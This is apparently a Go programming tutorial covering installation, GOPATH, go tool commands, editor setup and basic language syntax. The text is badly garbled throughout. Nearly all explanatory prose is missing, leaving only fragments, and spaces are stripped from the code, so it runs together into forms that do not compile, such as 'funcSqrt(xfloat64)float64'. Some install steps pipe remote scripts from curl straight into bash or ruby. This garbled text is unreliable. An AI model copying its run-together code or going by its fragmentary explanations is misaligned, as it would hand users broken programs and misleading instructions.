1.Go 1.1. Go 1.2. GOPATH 1.3. Go 1.4. Go 1.5. 2.Go 2.1. Go 2.2. Go 2.3. 2.4. struct 2.5. 2.6. interface 2.7. 2.8. 3.Web 3.1 web 3.2 Goweb 3.3 Goweb 3.4 Gohttp 3.5 4. 4.1 4.2 4.3 4.4 4.5 4.6 5. 5.1 database/sql 5.2 MySQL 5.3 SQLite
1.Go1.1.Go1.2.GOPATH1.3.Go1.4.Go1.5.
2.Go2.1.Go2.2.Go2.3.2.4.struct2.5.2.6.interface2.7.2.8.
3.Web3.1web3.2Goweb3.3Goweb3.4Gohttp3.5
4.4.14.24.34.44.54.6
5.5.1database/sql5.2MySQL5.3SQLite
5.4PostgreSQL5.5BeegoormORM5.6NOSQL5.7
6.session6.1sessioncookie6.2Gosession6.3session6.4session6.5
7.7.1XML7.2JSON7.37.47.57.67.7
8.Web8.1Socket8.2WebSocket8.3REST8.4RPC8.5
9.9.1CSRF9.29.3XSS9.4SQL9.59.69.7
10.10.110.210.310.4
11.11.111.2GDB11.3Go11.4
12.12.112.212.312.412.5
13.Web13.113.213.3controller13.413.513.6
14.Web14.114.2Session14.314.414.514.6pprof14.7
A
1.1 Go
Go
Go
GoUnixGoGoWindowsLinuxMacnextUbuntuapt-getwgetMachomebrew
Go GVM
Go
Go1.5CRuntimeCompilerLinkerGo,,
Go1.5,GoPlan9CAT&TC
MacXcode
UnixgccUbuntu sudoapt-getinstallgcclibc6-dev
WindowsMinGWMinGWgcc
goVERSION.src.tar.gz $HOME
cdgo/src./all.bash
all.bash"ALLTESTSPASSED"
UnixWindows all.batMinGWgcc
MacUnix .bashrc.zshrc
exportGOPATH=$HOME/gopathexportPATH=$PATH:$HOME/go/bin:$GOPATH/bin
bash.bashrcbash.zshrc
windowpathgogopath
go
1.1Go
GoUsageGoPATHGo
go1.8GOPATHUnix$HOME/go,Windows%USERPROFILE%/go
GOPATH
Go
Go/usr/local/go(Windowsc:\Go)
exportGOROOT=$HOME/goexportGOPATH=$HOME/gopathexportPATH=$PATH:$GOROOT/bin:$GOPATH/bin
MacUnix.bashrc.zshrcwindows
32 64
Go
WindowsWin+Rcmd systeminfo“”“x64-basedPC”64“X86-basedPC”32
Mac64GoMacOSX32
LinuxTerminalarch( uname-m)
64
x86_64
32
i386
Mac
32go1.4.2.darwin-386-osx10.8.pkg(32)64go1.8.darwin-amd64.pkggoPATH ~/go/bin, go
goUsagegoPATHgo
Linux
32go1.8.linux-386.tar.gz64go1.8.linux-amd64.tar.gz
Go $GO_INSTALL_DIR
tar.gz tarzxvfgo1.8.linux-amd64.tar.gz-C$GO_INSTALL_DIR
PATH exportPATH=$PATH:$GO_INSTALL_DIR/go/bin
go
1.2Linuxgo
goUsagegoPATHgo
Windows
Golang32windows-386msi64windows-amd64C:\Go\GoPathGobin C:\Go\bin\GOROOTGo C:\Go\
cmd goUsage cd%GOROOT%Go
PathGOROOT
GVM
gvmGorubyrvmgvm
bash<<(curl-s-S-Lhttps://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
go
gvminstallgo1.8gvmusego1.8
gvmuse gvmusego1.8--default
GOPATHGOROOT
apt-get
UbuntuLinux apt-getGo gitmercurial
sudoapt-getinstallpython-software-propertiessudoadd-apt-repositoryppa:gophers/gosudoapt-getupdatesudoapt-getinstallgolang-stablegit-coremercurial
wget
wgethttps://storage.googleapis.com/golang/go1.8.linux-amd64.tar.gzsudotar-xzfgo1.8.linux-amd64.tar.gz-C/usr/local
:
exportGOROOT=/usr/local/goexportGOBIN=$GOROOT/binexportPATH=$PATH:$GOBINexportGOPATH=$HOME/gopath()
:
sudovim/etc/profile
exportGOROOT=/usr/local/goexportGOBIN=$GOROOT/binexportPATH=$PATH:$GOBINexportGOPATH=$HOME/gopath()
homebrew
homebrewMacGoGo gitmercurial
1.homebrew
/usr/bin/ruby-e"$(curl-fsSLhttps://raw.githubusercontent.co
m/Homebrew/install/master/install)"
2.go
brewupdate&&brewupgradebrewinstallgobrewinstallgitbrewinstallmercurial//
links
: Go: GOPATH
1.2GOPATHGoGOPATHGo1.11.7GoGoGosrcbinpkg
go1.8GOPATHUnix$HOME/go,Windows%USERPROFILE%/go
GOPATH
go$GOPATH
Windows %GOPATH%UnixWindows
GoGOPATH
Unix
exportGOPATH=/home/apple/mygo
.bashrc .zshrc sh
WindowsGOPATH
GOPATH=c:\mygo
GOPATHWindowsLinuxGOPATHgoget
$GOPATH
src.go.c.h.spkg.abin$PATHgopath ${GOPATH//://bin:}/binbin
mygogopath
GOPATHsrc:$GOPATH/src/mymathmymathpackagemainmainpackage
srcsrc$GOPATH/src/github.com/astaxie/beedb"github.com/astaxie/beedb"beedb
mymath
cd$GOPATH/srcmkdirmymath
sqrt.go
//$GOPATH/src/mymath/sqrt.gopackagemymath
funcSqrt(xfloat64)float64{z:=0.0fori:=0;i<1000;i++{z-=(z*z-x)/(2*x)}returnz}
package
1 goinstall
2 goinstallmymath
cd$GOPATH/pkg/${GOOS}_${GOARCH}//mymath.a
.a
mathapp
cd$GOPATH/srcmkdirmathappcdmathappvimmain.go
$GOPATH/src/mathapp/main.go
packagemain
import("mymath""fmt")
funcmain(){fmt.Printf("Hello,world.Sqrt(2)=%v\n",mymath.Sqrt(2))}
packagemainimportmymath,$GOPATH/srcimportGOPATHGo$GOPATH/src
gobuildmathapp
./mathapp
Hello,world.Sqrt(2)=1.414213562373095
goinstall,$GOPATH/bin/mathapp,$GOPATH/binPATH
mathapp
Hello,world.Sqrt(2)=1.414213562373095
go gogetgoget(githubgooglecodebitbucketLaunchpad)
gogetgithub.com/astaxie/beedb
goget-ugoget
githubgitgooglecodehg
$GOPATHsrc|--github.com|-astaxie|-beedbpkg|--|-github.com|--astaxie|beedb.a
gogetclonesrc goinstall
import
import"github.com/astaxie/beedb"
mygo
bin/mathapppkg//darwin_amd64linux_amd64mymath.agithub.com/astaxie/beedb.asrc/mathappmain.gomymath/sqrt.gogithub.com/astaxie/beedb/beedb.goutil.go
binpkgsrc
links
: Go: GO
1.3Go
Go
Go go
main gobuild $GOPATH/bin goinstallgobuild-o/a.exe
gobuild gobuilda.gogobuildgo
1.2 mathapp gobuild-oastaxie.exepackage(main)(main)
package Go“package”
gobuild“_”“.”go
array_linux.goarray_darwin.goarray_windows.goarray_freebsd.go
gobuildLinuxDarwinWindowsFreebsdLinuxarray_linux.go
-o gobuild-oa/b/c
-i+ goinstall
-a-n-pnCPU-race64-v-work-x -n
-ccflags'arglist'5c,6c,8c-compilernamegccgogc-gccgoflags'arglist'gccgo-gcflags'arglist'5g,6g,8g-installsuffixsuffix -race-installsuffixrace,-n-ldflags'flaglist'5l,6l,8l-tags'taglist'tagtag BuildConstraints
goclean
_obj/objectMakefiles_test/testMakefiles_testmain.gogotestMakefilestest.outtestMakefilesbuild.outtestMakefiles*.[568ao]objectMakefiles
DIR(.exe)gobuildDIR.test(.exe)gotest-cMAINFILE(.exe)gobuildMAINFILE.go*.soSWIG
github
$goclean-i-ncd/Users/astaxie/develop/gopath/src/mathapprm-fmathappmathapp.exemathapp.testmathapp.test.exeappapp.exerm-f/Users/astaxie/develop/gopath/bin/mathapp
-igoinstall-n-rimport-x -n
gofmt
C/C++,K&RANSIgoANSIgogo<>.go gofmt gofmt
gofmtgofmt-wgofmt-w-lsrc
gofmtgofmt gofmt
gofmt
-l-w-r“a[b:len(a)]->a[b:]”-s-ddifffalse-e10-cpuprofilecpufile
goget
BitBucketGitHubGoogleCodeLaunchpad
BitBucket(MercurialGit)GitHub(Git)GoogleCodeProjectHosting(Git,Mercurial,Subversion)Launchpad(Bazaar)
gogetPATH goget gohelpremote
-d-f-u -uimportfork-fixfix-t-u-v
goinstall
(.a) $GOPATH/pkg$GOPATH/bin
gobuild -v
gotest
*_test.go
okarchive/tar0.011sFAILarchive/zip0.022sokcompress/gzip0.033s...
test gohelptestflag
-benchregexpbenchmarks -bench=.
-cover-runregexpregexp -run=ArrayArray-v
gotool
gotoolfixvet
gotoolfix.go1go1,APIgotoolvetdirectory|files,fmt.Printfreturn
gogenerate
Go1.4 gogenerategobuild gogenerate
yacc
gotoolyacc-ogopher.go-pparsergopher.y
-o-ppackage gogenerate xxx.go
//go:generategotoolyacc-ogopher.go-pparsergopher.y
//go:generate
gopher.y gogenerate
$gogenerate$gobuild$gotest
godoc
Go1.2godocgodoc gogetgolang.org/x/tools/cmd/godoc
gochm chm
package builtin godocbuiltinhttp godocnet/httpPrintf godoc-srcfmtPrintf
godoc-http=: godoc-http=:8080127.0.0.1:8080golang.orgcopypkgGOPATHpkg GOPATH
go
goversion gogoenv gogolistpackagegorunGo
gohelp
links
: GOPATH: Go
1.4Gofmt
LiteIDE
LiteIDEGoIDEvisualfc
GOPATHApiGo
Gocode()GoApiF1
F2
Gdbgofmt
Kate
Markdown
CSSHTMLPDF/HTML/PDF
LiteIDE
LiteIDE
http://sourceforge.net/projects/liteide/files
https://github.com/visualfc/liteide
GoLiteIDE
LiteIDE
Windows64Go win64 LiteIDEwin64.env
GOROOT=c:\goGOBIN=GOARCH=amd64GOOS=windowsCGO_ENABLED=1
PATH=%GOBIN%;%GOROOT%\bin;%PATH%
GOROOT=c:\goGoMinGW64 c:\MinGW64\binPATHgogccCGO
Linux64Go linux64 LiteIDElinux64.env
GOROOT=$HOME/goGOBIN=GOARCH=amd64GOOS=linuxCGO_ENABLED=1
PATH=$GOBIN:$GOROOT/bin:$PATH
GOROOT=$HOME/goGo
GOPATH
GoGOPATHGo(LiteIDE Ctrl+,) gohelpgopath
LiteIDEGOPATH GOPATHGOPATH GOPATH
SublimeText
SublimeText3Sublime+GoSublime+gocode
1.6sublime
SublimeText3
Sublime
SublimeSublime SublimeTextsublimetext3
1. PackageControlCtrl+`
SublimeText3
importurllib.request,os;pf='PackageControl.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read())
SublimeText2
importurllib2,os;pf='PackageControl.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read());print('PleaserestartSublimeTexttofinishinstallation')
SublimePackageControl
1 .7sublime
1. SublimeGoSublimeSidebarEnhancementsGoBuildSublimeCtrl+Shift+pPackageControll pcip“PackageControl:InstallPackage”
1.8sublime
GoSublimeSidebarEnhancementsGoBuild
2. gocode
goget-ugithub.com/nsf/gocode
gocode$GOBIN
gotests():
sublimegotests,:
```Gogoget-u-vgithub.com/cweill/gotests/...
```
1. Sublimemain.go import import"fmt" fmt.
$PATHgocode $PATH(XP),sublime,sublimetext3convertutf8
2. MacOS$GOROOT,$GOPATH,$GOBIN
sublimecommand+9env$PATH,GOROOT,$GOPATH,$GOBIN
Terminalsublime
ln-s/Applications/Sublime\Text\2.app/Contents/SharedSupport/bin/subl/usr/local/bin/sublime
VisualStudioCode
vscodeElectronweb,: https://github.com/Microsoft/vscode
1VisualStudioCode
https://code.visualstudio.com/VisualStudioCode
2Go
ExtensionsGoGoVisualStudioCode
FileAutosave
vscodeGo.vscode/settings.json
-settings.json:
{"go.buildOnSave":true,"go.lintOnSave":true,
"go.vetOnSave":true,"go.buildFlags":[],"go.lintFlags":[],"go.vetFlags":[],"go.coverOnSave":false,"go.useCodeSnippetsOnFunctionSuggest":false,"go.formatOnSave":true,//goimports"go.formatTool":"goreturns","go.goroot":"",//Goroot"go.gopath":"",//Gopath}
(,Github Golang):
goget-u-vgithub.com/nsf/gocodegoget-u-vgithub.com/rogpeppe/godefgoget-u-vgithub.com/zmb3/gogetdocgoget-u-vgithub.com/golang/lint/golintgoget-u-vgithub.com/lukehoban/go-outlinegoget-u-vsourcegraph.com/sqs/goreturnsgoget-u-vgolang.org/x/tools/cmd/gorenamegoget-u-vgithub.com/tpng/gopkgsgoget-u-vgithub.com/newhook/go-symbolsgoget-u-vgolang.org/x/tools/cmd/gurugoget-u-vgithub.com/cweill/gotests/...
vscode, delveGo
goget-v-ugithub.com/peterh/linergithub.com/derekparker/delve/cmd/dlv
brewinstallgo-delve/delve/delve(mac)
:
goget-v-ugithub.com/peterh/linergithub.com/derekparker/delve/cmd/dlv
:"dlv-cert",""->""->"":
-,launch.json:
{"version":"0.2.0","configurations":[{"name":"main.go","type":"go","request":"launch","mode":"debug","remotePath":"","port":2345,"host":"127.0.0.1","program":"${workspaceRoot}",//"env":{},"args":[],"showLog":true}]}
Atom
AtomGithubElectronweb,
Atom: https://atom.io/
go-plus:
go-plusAtom go
go:
1.autocomplete-gogocode2.gofmtgoftm,goimports,goturns3.builder-go:go-installgo-test,4.gometalinet-linter:goline,vet,gotype5.navigator-godef:godef6.tester-goo:gotest7.gorename:rename
AtomPreferenceinstall,go-plus,(install)
go-plusgo-plusgo:goget
Gogland
GoglandJetBrainsGoIdeaGoGoglandIntelliJJetBrains
: https://www.jetbrains.com/go/
Vim
Vimvi,
vim-govimgo
github.com/fatih/vim-go
vimPathogenVundle pathogenvundle
1.Vundle
mkdir~/.vim/bundlegitclonehttps://github.com/gmarik/Vundle.vim.git~/.vim/bundle/Vundle.vim
.vimrcVundle( Vundle)
setnocompatible"beiMproved,requiredfiletypeoff"required
"settheruntimepathtoincludeVundleandinitializesetrtp+=~/.vim/bundle/Vundle.vimcallvundle#begin()
"letVundlemanageVundle,requiredPlugin'gmarik/Vundle.vim'
"AllofyourPluginsmustbeaddedbeforethefollowinglinecallvundle#end()"requiredfiletypepluginindenton"required
2.Vim-go
~/.vimrcvundle#beginvundle#end
Plugin'fatih/vim-go'
Vim:PluginInstall
3.YCM(YourCompleteMe)~/.vimrc
Plugin'Valloric/YouCompleteMe'
Vim:PluginInstall
1.9VIMGo
vim:
1. vim
cp-r$GOROOT/misc/vim/*~/.vim/
2. ~/.vimrc
filetypepluginindentonsyntaxon
3. Gocode
goget-ugithub.com/nsf/gocode
gocode$GOPATH/bin
4. Gocode
~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"
gocodeset
propose-builtinsGofalse
lib-path:gocode $GOPATH/pkg/$GOOS_$GOARCH$GOROOT/pkg/$GOOS_$GOARCHlib
1. :emain.goGo
VIM,
Emacs
Emacs
1.10EmacsGo
1. Emacs
cp$GOROOT/misc/emacs/*~/.emacs.d/
2. Gocode
goget-ugithub.com/nsf/gocode
gocode $GOBIN
3. Gocode
~cd$GOPATH/src/github.com/nsf/gocode/emacs~cpgo-autocomplete.el~/.emacs.d/~gocodesetpropose-builtinstruepropose-builtinstrue
~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"//
lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"
1. AutoCompletion
AutoComplete
~makeinstallDIR=$HOME/.emacs.d/auto-complete
~/.emacs
;;auto-complete(require'auto-complete-config)(add-to-list'ac-dictionary-directories"~/.emacs.d/auto-complete/ac-dict")(ac-config-default)(local-set-key(kbd"M-/")'semantic-complete-analyze-inline)(local-set-key"."'semantic-complete-self-insert)(local-set-key">"'semantic-complete-self-insert)
: http://www.emacswiki.org/emacs/AutoComplete
2. .emacs
;;golangmode(require'go-mode-load)(require'go-autocomplete);;speedbar;;(speedbar1)(speedbar-add-supported-extension".go")(add-hook'go-mode-hook'(lambda();;gocode(auto-complete-mode1)(setqac-sources'(ac-source-go))
;;Imenu&Speedbar(setqimenu-generic-expression'(("type""^type*\\([^\t\n\r\f]*\\)"1)("func""^func*\\(.*\\){"1)))(imenu-add-to-menubar"Index");;Outlinemode(make-local-variable'outline-regexp)(setqoutline-regexp"//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")(outline-minor-mode1)(local-set-key"\M-a"'outline-previous-visible-heading)(local-set-key"\M-e"'outline-next-visible-heading);;Menubar(require'easymenu)(defconstgo-hooked-menu'("Gotools"["Gorunbuffer"got]["Goreformatbuffer"go-fmt-buffert]["Gocheckbuffer"go-fix-buffert]))(easy-menu-definego-added-menu(current-local-map)"Gotools"go-hooked-menu)
;;Other(setqshow-trailing-whitespacet)));;helperfunction(defungo()"runcurrentbuffer"(interactive)(compile(concat"gorun"(buffer-file-name))))
;;helperfunction(defungo-fmt-buffer()"rungofmtoncurrentbuffer"(interactive)(ifbuffer-read-only(progn(ding)(message"Bufferisreadonly"))(let((p(line-number-at-pos))(filename(buffer-file-name))(old-max-mini-window-heightmax-mini-window-height))(show-all)
(if(get-buffer"*GoReformatErrors*")(progn(delete-windows-on"*GoReformatErrors*")(kill-buffer"*GoReformatErrors*")))(setqmax-mini-window-height1)(if(=0(shell-command-on-region(point-min)(point-max)"gofmt""*GoReformatOutput*"nil"*GoReformatErrors*"t))(progn(erase-buffer)(insert-buffer-substring"*GoReformatOutput*")(goto-char(point-min))(forward-line(1-p)))(with-current-buffer"*GoReformatErrors*"(progn(goto-char(point-min))(while(re-search-forward"<standardinput>"nilt)(replace-matchfilename))(goto-char(point-min))(compilation-mode))))(setqmax-mini-window-heightold-max-mini-window-height)(delete-windows-on"*GoReformatOutput*")(kill-buffer"*GoReformatOutput*"))));;helperfunction(defungo-fix-buffer()"rungofixoncurrentbuffer"(interactive)(show-all)(shell-command-on-region(point-min)(point-max)"gotoolfix-diff"))
3. Gospeedbar;;(speedbar1) M-xspeedbar
Eclipse
EclipseEclipseGo
1.11EclipseGo
1. Eclipse
2. goclipse
http://code.google.com/p/goclipse/wiki/InstallationInstructions
3. gocodego
gocodegithub
https://github.com/nsf/gocode
windowsgit msysgit
cmd
goget-ugithub.com/nsf/gocode
gobuildgocode.exe
4. MinGW
5.
Windows->Reference->Go
(1).Go
1.12Go
1.5GoGo $GOPATH$GOPATHGoGoGoGoLiteIDESublimeVSCodeAtomGoglangVIMEmacsEclipseIdeaGo
links
: Go: Go
2GoGoC
breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar
GoGo
packagemain
import"fmt"
funcmain(){fmt.Printf("Hello,worldor�����orκαλημρακóσμor��������\n")}
Hello,worldor orκαλημρακóσμor
Go package
package<pkgName> packagemain main main *.a$GOPATH/pkg/$GOOS_$GOARCHMac $GOPATH/pkg/darwin_amd64
Go packagemainmainmain
Hello,world...Printffmt fmt import"fmt"
Pythonpackage)
funcmain {}CC++Java
main0
fmtPrintf <pkgName>.<funcName>Python
<pkgName>package<pkgName>
ASCIIGoUTF-8UTF-8
GopackagePython main.main()(GoUTF-8(UTF-8Go)
links
: Go: Go
2.2GoGoGo
Go
varGoCGo
//“variableName”"type"varvariableNametype
//“ type”varvname1,vname2,vname3type
//“variableName”“ value”“ type”varvariableNametype=value
/* "type",vname1v1vname2v2vname3v3*/varvname1,vname2,vname3type=v1,v2,v3
Go
/*vname1v1vname2v2vname3v3Go*/varvname1,vname2,vname3=v1,v2,v3
/*vname1v1vname2v2vname3v3*/vname1,vname2,vname3:=v1,v2,v3
:=vartype, var
_ 35b34
_,b:=34,35
Go i
packagemain
funcmain(){variint}
Go
constconstantName=value//constPifloat32=3.1415926
constPi=3.1415926consti=10000constMaxThread=10constprefix="astaxie_"
Go(200)float3232bitfloat6464bit
Boolean
Go booltruefalsefalse
//varisActivebool//varenabled,disabled=true,false//functest(){varavailablebool//valid:=false//available=true//}
Go intuintGo rune,int8,int16,int32,int64byte,uint8,uint16,uint32,uint64runeint32 byteuint8
invalidoperation:a+b(mismatchedtypesint8andint32)
varaint8
varbint32
c:=a+b
int32bit,intint32
float32float64 float float64
NoGo complex12864+64 complex64(32+32) RE+IMiREIM i
varccomplex64=5+5i//output:(5+5i)fmt.Printf("Valueis:%v",c)
Go UTF-8 "" string
//varfrenchHellostring//varemptyStringstring=""//functest(){no,yes,maybe:="no","yes","maybe"//japaneseHello:="Konichiwa"//frenchHello="Bonjour"//}
Gocannotassigntos[0]
varsstring="hello"s[0]='c'
s:="hello"c:=[]byte(s)//s[]bytec[0]='c's2:=string(c)//stringfmt.Printf("%s\n",s2)
Go+
s:="hello,"m:="world"a:=s+mfmt.Printf("%s\n",a)
s:="hello"s="c"+s[1:]//fmt.Printf("%s\n",s)
m:=`helloworld`
Raw
helloworld
GoerrorGo packageerrors
err:=errors.New("emitmachodwarf:elfheadercorrupted")iferr!=nil{fmt.Print(err)}
import"fmt"import"os"
consti=100constpi=3.1415constprefix="Go_"
variintvarpifloat32varprefixstring
import("fmt""os")
const(i=100pi=3.1415prefix="Go_")
var(iintpifloat32prefixstring)
iota
Goiotaenum0const1
packagemain
import("fmt")
const(x=iota//x==0y=iota//y==1z=iota//z==2w//w=iotaw==3yz"=iota"
)
constv=iota//constiotav==0
const(h,i,j=iota,iota,iota//h=0,i=0,j=0iota)
const(a=iota//a=0b="B"c=iota//c=2d,e,f=iota,iota,iota//d=3,e=3,f=3g=iota//g=4)
funcmain(){fmt.Println(a,b,c,d,e,f,g,h,i,j,x,y,z,w,v)}
iotaconst0 iotaiota
Go
Go
classpublic private
array slice map
array
array
vararr[n]type
[n]type n type []
vararr[10]int//intarr[0]=42//0arr[1]=13//fmt.Printf("Thefirstelementis%d\n",arr[0])//42fmt.Printf("Thelastelementis%d\n",arr[9])//0
[3]int[4]int slice
:=
a:=[3]int{1,2,3}//3int
b:=[10]int{1,2,3}//10int1230
c:=[...]int{4,5,6}//`...`Go
Go
//4int
doubleArray:=[2][4]int{[4]int{1,2,3,4},[4]int{5,6,7,8}}
//easyArray:=[2][4]int{{1,2,3,4},{5,6,7,8}}
2.2
slice
“”Go slice
slice slicearrayslicearray
//arrayvarfslice[]int
slice
slice:=[]byte{'a','b','c','d'}
sliceslice slicearray[i:j] i j array[j]j-i
//10bytevarar=[10]byte{'a','b','c','d','e','f','g','h','i','j'}
//byteslicevara,b[]byte
//a3a=ar[2:5]//a:ar[2]ar[3]ar[4]
//barsliceb=ar[3:5]//bar[3]ar[4]
slice ... slice
2.3slicearray
slice
slice0 ar[:n]ar[0:n]
slice ar[n:]ar[n:len(ar)]
slicear[:]0 ar[0:len(ar)]
slice
//vararray=[10]byte{'a','b','c','d','e','f','g','h','i','j'}//slicevaraSlice,bSlice[]byte
//aSlice=array[:3]//aSlice=array[0:3]aSlice:a,b,caSlice=array[5:]//aSlice=array[5:10]aSlice:f,g,h,i,j
aSlice=array[:]//aSlice=array[0:10]aSlice
//slicesliceaSlice=array[3:7]//aSlice:d,e,f,glen=4cap=7bSlice=aSlice[1:3]//bSliceaSlice[1],aSlice[2]:e,f
bSlice=aSlice[:3]//bSliceaSlice[0],aSlice[1],aSlice[2]:d,e,fbSlice=aSlice[0:5]//sliceslicecapbSliced,e,f,g,h
bSlice=aSlice[:]//bSliceaSlice:d,e,f,g
slice aSlicebSliceaSlice bSlice
slice
slice
slice
slice
Array_a:=[10]byte{'a','b','c','d','e','f','g','h','i','j'}Slice_a:=Array_a[2:5]
2.4slice
slice
len slice
cap slice
appendslice sliceslice
copy copyslicesrcdst
appendslice sliceslice (cap-len)==0 slice slice
Go1.2slicesliceslicearrayslice
vararray[10]intslice:=array[2:4]
slice8
slice=array[2:4:7]
7-25slice
slicearray[:i:j]0
map
mapPython map[keyType]valueType
mapslice key sliceindexint map intstring==!=
//keyint,makevarnumbersmap[string]int//mapnumbers:=make(map[string]int)numbers["one"]=1//numbers["ten"]=10//numbers["three"]=3
fmt.Println(":" ,numbers["three"])////::3
map key
map
map map index key
map slice
lenmapmapkey
map numbers["one"]=11keyone11mapthread-safego-routinemutexlock
mapkey:val mapkey
deletemap
//rating:=map[string]float32{"C":5,"Go":4.5,"Python":4.5,"C++":2}//mapkeyokfalseoktruecsharpRating,ok:=rating["C#"]ifok{fmt.Println("C#isinthemapanditsratingis",csharpRating)}else{fmt.Println("WehavenoratingassociatedwithC#inthemap")}
delete(rating,"C")//keyC
map map
m:=make(map[string]string)m["Hello"]="Bonjour"m1:=mm1["Hello"]="Salut"//m["hello"]Salut
make new
makemapslicechannel new
new new(T)T *TGo T
new
make(T,args)new(T)make slicemapchannel() T *Tslice array slicenilslicemapchannel make
make
newmake
int0int80int320int640uint0x0rune0//runeint32byte0x0//byteuint8float320//4bytefloat640//8byteboolfalsestring""
links
: ,Go:
2.3Go
Go
if
if
Goif
ifx>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}
Goif
//x,x10ifx:=computedValue();x>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}
//xfmt.Println(x)
ifinteger==3{fmt.Println("Theintegerisequalto3")}elseifinteger<3{fmt.Println("Theintegerislessthan3")}else{fmt.Println("Theintegerisgreaterthan3")}
goto
Gogoto—— goto
funcmyFunc(){i:=0Here://println(i)i++gotoHere//Here}
for
Gofor while
forexpression1;expression2;expression3{//...}
expression1expression2expression3 expression1expression3expression2 expression1 expression3
packagemain
import"fmt"
funcmain(){sum:=0;forindex:=0;index<10;index++{sum+=index}fmt.Println("sumisequalto",sum)}//sumisequalto45
Go , i,j=i+1,j-1
expression1expression3
sum:=1for;sum<1000;{sum+=sum}
; while
sum:=1forsum<1000{sum+=sum}
breakcontinue,break continue break
forindex:=10;index>0;index--{ifindex==5{break// continue}fmt.Println(index)}//break 109876//continue 1098764321
breakcontinue
forrangeslicemap
fork,v:=rangemap{
fmt.Println("map'skey:",k)fmt.Println("map'sval:",v)}
Go“”,“”,,, _
for_,v:=rangemap{fmt.Println("map'sval:",v)}
switch
if-else switch
switchsExpr{caseexpr1:someinstructionscaseexpr2:someotherinstructionscaseexpr3:someotherinstructionsdefault:othercode}
sExprexpr1expr2expr3Go switch switch true
i:=10switchi{case1:fmt.Println("iisequalto1")case2,3,4:fmt.Println("iisequalto2,3or4")case10:fmt.Println("iisequalto10")
default:fmt.Println("AllIknowisthatiisaninteger")}
5 caseGo switchcasebreakcase switch,fallthroughcase
integer:=6switchinteger{case4:fmt.Println("Theintegerwas<=4")fallthroughcase5:fmt.Println("Theintegerwas<=5")fallthroughcase6:fmt.Println("Theintegerwas<=6")fallthroughcase7:fmt.Println("Theintegerwas<=7")fallthroughcase8:fmt.Println("Theintegerwas<=8")fallthroughdefault:fmt.Println("defaultcase")}
Theintegerwas<=6Theintegerwas<=7Theintegerwas<=8defaultcase
Go func
funcfuncName(input1type1,input2type2)(output1type1,output2type2){////returnvalue1,value2}
funcfuncName
,
output1output2
return
Max
packagemain
import"fmt"
//ab.funcmax(a,bint)int{ifa>b{returna}returnb}
funcmain(){x:=3y:=4z:=5
max_xy:=max(x,y)//max(x,y)max_xz:=max(x,z)//max(x,z)
fmt.Printf("max(%d,%d)=%d\n",x,y,max_xy)fmt.Printf("max(%d,%d)=%d\n",x,z,max_xz)fmt.Printf("max(%d,%d)=%d\n",y,z,max(y,z))//
}
max inta,bint,aint,bint)2
GoC
packagemain
import"fmt"
//A+BA*BfuncSumAndProduct(A,Bint)(int,int){returnA+B,A*B}
funcmain(){x:=3y:=4
xPLUSy,xTIMESy:=SumAndProduct(x,y)
fmt.Printf("%d+%d=%d\n",x,y,xPLUSy)fmt.Printf("%d*%d=%d\n",x,y,xTIMESy)}
()
funcSumAndProduct(A,Bint)(addint,Multipliedint){add=A+BMultiplied=A*Breturn}
Go
funcmyfunc(arg...int){}
arg...intGo int argintslice
for_,n:=rangearg{fmt.Printf("Andthenumberis:%d\n",n)}
copycopy
packagemain
import"fmt"
//+1funcadd1(aint)int{a=a+1//areturna//
}
funcmain(){x:=3
fmt.Println("x=",x)//"x=3"
x1:=add1(x)//add1(x)
fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=3"}
add1 add1a=a+1 x
add1 add1xcopy x
x,
add1x x x&x int*int xcopycopy
packagemain
import"fmt"
//+1funcadd1(a*int)int{//*a=*a+1//areturn*a//}
funcmain(){x:=3
fmt.Println("x=",x)//"x=3"
x1:=add1(&x)//add1(&x)x
fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=4"}
x
(8bytes),,copyGochannelslicemap slice
defer
Godeferdeferdefer
funcReadWrite()bool{file.Open("file")//iffailureX{file.Close()returnfalse}
iffailureY{file.Close()returnfalse}
file.Close()returntrue}
Go defer defer
funcReadWrite()bool{file.Open("file")deferfile.Close()iffailureX{returnfalse}iffailureY{
returnfalse}returntrue}
deferdefer 43210
fori:=0;i<5;i++{deferfmt.Printf("%d",i)}
Go type
typetypeNamefunc(input1inputType1,input2inputType2[,...])(result1resultType1[,...])
packagemain
import"fmt"
typetestIntfunc(int)bool//
funcisOdd(integerint)bool{ifinteger%2==0{returnfalse}returntrue}
funcisEven(integerint)bool{ifinteger%2==0{returntrue
}returnfalse}
//
funcfilter(slice[]int,ftestInt)[]int{varresult[]intfor_,value:=rangeslice{iff(value){result=append(result,value)}}returnresult}
funcmain(){slice:=[]int{1,2,3,4,5,7}fmt.Println("slice=",slice)odd:=filter(slice,isOdd)//fmt.Println("Oddelementsofsliceare:",odd)even:=filter(slice,isEven)//fmt.Println("Evenelementsofsliceare:",even)}
testInt filtertestInt
Panic Recover
GoJava panicrecover panic
Panic
FpanicF FF Fpanic panicgoroutine panic
Recover
goroutine recover recovernil goroutine recoverpanic
panic
varuser=os.Getenv("USER")
funcinit(){ifuser==""{panic("novaluefor$USER")}}
panic
